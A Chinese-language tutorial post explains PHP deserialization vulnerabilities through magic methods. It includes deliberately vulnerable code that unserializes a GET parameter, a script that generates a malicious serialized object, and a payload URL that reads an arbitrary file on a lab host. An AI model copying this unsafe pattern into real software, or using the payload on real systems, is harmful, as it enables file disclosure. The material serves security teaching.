1. 程式人生 > >關於反序列化漏洞的一些理解

關於反序列化漏洞的一些理解

  php類可能會包含一些特殊的函式叫magic函式,magic函式命名是以符號__開頭的,比如 __construct, __destruct, __toString, __sleep, __wakeup等等。這些函式在某些情況下會自動呼叫,比如__construct當一個物件建立時被呼叫,__destruct當一個物件銷燬時被呼叫,__toString當一個物件被當作一個字串使用。為了更好的理解magic方法是如何工作的,在2.php中增加了三個magic方法,__construct, __destruct和__toString。可以看出,__construct在物件建立時呼叫,__destruct在php指令碼結束時呼叫,__toString在物件被當作一個字串使用時呼叫。這些魔術函式有點類似c++裡的建構函式和解構函式。而反序列化漏洞正是利用魔術函式執行指令碼。

  序列化函式serialize()執行的操作是儲存一個類,至於為什麼要儲存,可以舉一個簡單的例子來看一下,比如php中一個指令碼b需要呼叫上一個指令碼a的資料,而指令碼b需迴圈多次,因為指令碼a執行完後其本身的資料就會被銷燬,總不可能b每次迴圈時都執行一遍指令碼a吧,serialize()就是用來儲存類的資料的,而unserialize()則是將儲存的類的資料轉換為一個類。

  知道了這些後就可以看反序列化漏洞是如何利用魔術函式的了,先來看一個例子,以下php程式碼儲存為test.php

<?php

class FileClass

{

public $filename = 'error.log';

// 當物件被作為一個字串會讀取這個檔案

public function __toString()

{

return file_get_contents($this->filename);

}

} 

class User  
{  
    // Class data  
   
    public $age = 0;  
    public $name = '';  
   
    // 允許物件作為一個字串輸出上面的data  
   
    public function __toString()  
    {  
        return 'User ' . $this->name . ' is ' . $this->age . ' years old. <br />';  
    }  
}  
   
// 使用者可控  
   
$obj = unserialize($_GET['usr_serialized']);  
   
// 輸出__toString  
   
echo $obj;  
   

?>

  然後建立1.txt

然後創造利用函式1.php

<?php  
 
include 'test.php';  
$fileobj = new FileClass();  
$fileobj->filename = '1.txt';  
   
echo serialize($fileobj);  
   
?> 

new fileclass這個類時會呼叫_tostring()這個魔術函式,通過指定filename為1.txt

訪問http://192.168.153.138/test.php?usr_serialized=O:9:"FileClass":1:{s:8:"filename";s:5:"1.txt";}

成功顯示了1.txt的內容。利用成功。